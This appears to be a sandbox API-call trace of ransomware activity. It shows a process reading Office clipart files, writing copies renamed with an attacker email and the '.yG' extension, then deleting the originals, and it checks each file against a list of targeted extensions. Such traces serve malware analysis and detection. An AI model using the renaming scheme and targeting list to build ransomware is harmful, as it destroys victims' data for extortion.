	[0166.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0166.240] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.240] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0166.242] GetLastError () returned 0x0
	[0166.242] ReadFile (in: hFile=0x53c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x42a4, lpOverlapped=0x0) returned 1
	[0166.257] WriteFile (in: hFile=0x360, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x42b0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x42b0, lpOverlapped=0x0) returned 1
	[0166.258] ReadFile (in: hFile=0x53c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.258] WriteFile (in: hFile=0x360, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.258] SetEndOfFile (hFile=0x360) returned 1
	[0166.258] CloseHandle (hObject=0x360) returned 1
	[0166.259] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.259] SetEndOfFile (hFile=0x53c) returned 1
	[0166.401] CloseHandle (hObject=0x53c) returned 1
	[0166.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0166.513] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf")) returned 1
	[0166.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0166.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0166.820] lstrlenW (lpString=".doc") returned 4
	[0166.820] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0166.820] lstrlenW (lpString=".docx") returned 5
	[0166.820] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0166.820] lstrlenW (lpString=".pdf") returned 4
	[0166.820] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0166.820] lstrlenW (lpString=".xls") returned 4
	[0166.820] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0166.820] lstrlenW (lpString=".xlsx") returned 5
	[0166.820] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0166.820] lstrlenW (lpString=".ppt") returned 4
	[0166.821] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0166.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0166.821] lstrlenW (lpString=".zip") returned 4
	[0166.821] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0166.821] lstrlenW (lpString=".rar") returned 4
	[0166.821] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0166.821] lstrlenW (lpString=".bz2") returned 4
	[0166.821] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0166.821] lstrlenW (lpString=".7z") returned 3
	[0166.821] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0166.821] lstrlenW (lpString=".dbf") returned 4
	[0166.821] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0166.821] lstrlenW (lpString=".1cd") returned 4
	[0166.821] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0166.821] lstrlenW (lpString=".jpg") returned 4
	[0166.821] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.823] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=4964) returned 1
	[0166.823] CloseHandle (hObject=0x364) returned 1
	[0166.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf")) returned 0x220
	[0166.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0166.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0166.825] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.825] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0166.826] GetLastError () returned 0x0
	[0166.826] ReadFile (in: hFile=0x364, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x1364, lpOverlapped=0x0) returned 1
	[0166.830] WriteFile (in: hFile=0x558, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x1370, lpOverlapped=0x0) returned 1
	[0166.831] ReadFile (in: hFile=0x364, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.831] WriteFile (in: hFile=0x558, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.831] SetEndOfFile (hFile=0x558) returned 1
	[0166.832] CloseHandle (hObject=0x558) returned 1
	[0166.832] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.832] SetEndOfFile (hFile=0x364) returned 1
	[0166.844] CloseHandle (hObject=0x364) returned 1
	[0166.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0166.845] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf")) returned 1
	[0166.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0166.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0166.846] lstrlenW (lpString=".doc") returned 4
	[0166.846] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0166.846] lstrlenW (lpString=".docx") returned 5
	[0166.846] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0166.846] lstrlenW (lpString=".pdf") returned 4
	[0166.846] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0166.846] lstrlenW (lpString=".xls") returned 4
	[0166.846] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0166.846] lstrlenW (lpString=".xlsx") returned 5
	[0166.846] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0166.846] lstrlenW (lpString=".ppt") returned 4
	[0166.847] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0166.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0166.847] lstrlenW (lpString=".zip") returned 4
	[0166.847] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0166.847] lstrlenW (lpString=".rar") returned 4
	[0166.847] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0166.847] lstrlenW (lpString=".bz2") returned 4
	[0166.847] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0166.847] lstrlenW (lpString=".7z") returned 3
	[0166.847] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0166.847] lstrlenW (lpString=".dbf") returned 4
	[0166.847] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0166.847] lstrlenW (lpString=".1cd") returned 4
	[0166.847] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0166.847] lstrlenW (lpString=".jpg") returned 4
	[0166.847] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.849] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=4624) returned 1
	[0166.849] CloseHandle (hObject=0x364) returned 1
	[0166.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 0x220
	[0166.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0166.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0166.850] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.850] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0166.852] GetLastError () returned 0x0
	[0166.852] ReadFile (in: hFile=0x364, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x1210, lpOverlapped=0x0) returned 1
	[0166.857] WriteFile (in: hFile=0x558, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x1220, lpOverlapped=0x0) returned 1
	[0166.858] ReadFile (in: hFile=0x364, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.858] WriteFile (in: hFile=0x558, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.858] SetEndOfFile (hFile=0x558) returned 1
	[0166.858] CloseHandle (hObject=0x558) returned 1
	[0166.858] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.858] SetEndOfFile (hFile=0x364) returned 1
	[0166.864] CloseHandle (hObject=0x364) returned 1
	[0166.864] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0166.865] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 1
	[0166.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0166.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0166.866] lstrlenW (lpString=".doc") returned 4
	[0166.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0166.866] lstrlenW (lpString=".docx") returned 5
	[0166.866] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0166.866] lstrlenW (lpString=".pdf") returned 4
	[0166.866] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0166.866] lstrlenW (lpString=".xls") returned 4
	[0166.866] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0166.866] lstrlenW (lpString=".xlsx") returned 5
	[0166.866] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0166.866] lstrlenW (lpString=".ppt") returned 4
	[0166.866] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0166.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0166.866] lstrlenW (lpString=".zip") returned 4
	[0166.866] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0166.866] lstrlenW (lpString=".rar") returned 4
	[0166.866] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0166.866] lstrlenW (lpString=".bz2") returned 4
	[0166.866] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0166.867] lstrlenW (lpString=".7z") returned 3
	[0166.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0166.867] lstrlenW (lpString=".dbf") returned 4
	[0166.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0166.867] lstrlenW (lpString=".1cd") returned 4
	[0166.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0166.867] lstrlenW (lpString=".jpg") returned 4
	[0166.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.868] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=5880) returned 1
	[0166.868] CloseHandle (hObject=0x364) returned 1
	[0166.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 0x220
	[0166.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0166.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0167.125] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.125] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0167.279] GetLastError () returned 0x0
	[0167.279] ReadFile (in: hFile=0x350, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x16f8, lpOverlapped=0x0) returned 1
	[0167.282] WriteFile (in: hFile=0x364, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x1700, lpOverlapped=0x0) returned 1
	[0167.284] ReadFile (in: hFile=0x350, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.284] WriteFile (in: hFile=0x364, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.285] SetEndOfFile (hFile=0x364) returned 1
	[0167.285] CloseHandle (hObject=0x364) returned 1
	[0167.285] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.285] SetEndOfFile (hFile=0x350) returned 1
	[0167.290] CloseHandle (hObject=0x350) returned 1
	[0167.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0167.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 1
	[0167.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0167.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0167.292] lstrlenW (lpString=".doc") returned 4
	[0167.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.292] lstrlenW (lpString=".docx") returned 5
	[0167.292] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0167.292] lstrlenW (lpString=".pdf") returned 4
	[0167.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.293] lstrlenW (lpString=".xls") returned 4
	[0167.293] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.293] lstrlenW (lpString=".xlsx") returned 5
	[0167.293] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0167.293] lstrlenW (lpString=".ppt") returned 4
	[0167.293] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0167.293] lstrlenW (lpString=".zip") returned 4
	[0167.293] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.293] lstrlenW (lpString=".rar") returned 4
	[0167.293] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.293] lstrlenW (lpString=".bz2") returned 4
	[0167.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.293] lstrlenW (lpString=".7z") returned 3
	[0167.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0167.293] lstrlenW (lpString=".dbf") returned 4
	[0167.293] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0167.293] lstrlenW (lpString=".1cd") returned 4
	[0167.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0167.293] lstrlenW (lpString=".jpg") returned 4
	[0167.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.294] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=11012) returned 1
	[0167.295] CloseHandle (hObject=0x350) returned 1
	[0167.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf")) returned 0x220
	[0167.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0167.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0167.296] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.297] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0167.299] GetLastError () returned 0x0
	[0167.299] ReadFile (in: hFile=0x350, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x2b04, lpOverlapped=0x0) returned 1
	[0167.303] WriteFile (in: hFile=0x364, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x2b10, lpOverlapped=0x0) returned 1
	[0167.306] ReadFile (in: hFile=0x350, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.306] WriteFile (in: hFile=0x364, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.306] SetEndOfFile (hFile=0x364) returned 1
	[0167.306] CloseHandle (hObject=0x364) returned 1
	[0167.307] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.307] SetEndOfFile (hFile=0x350) returned 1
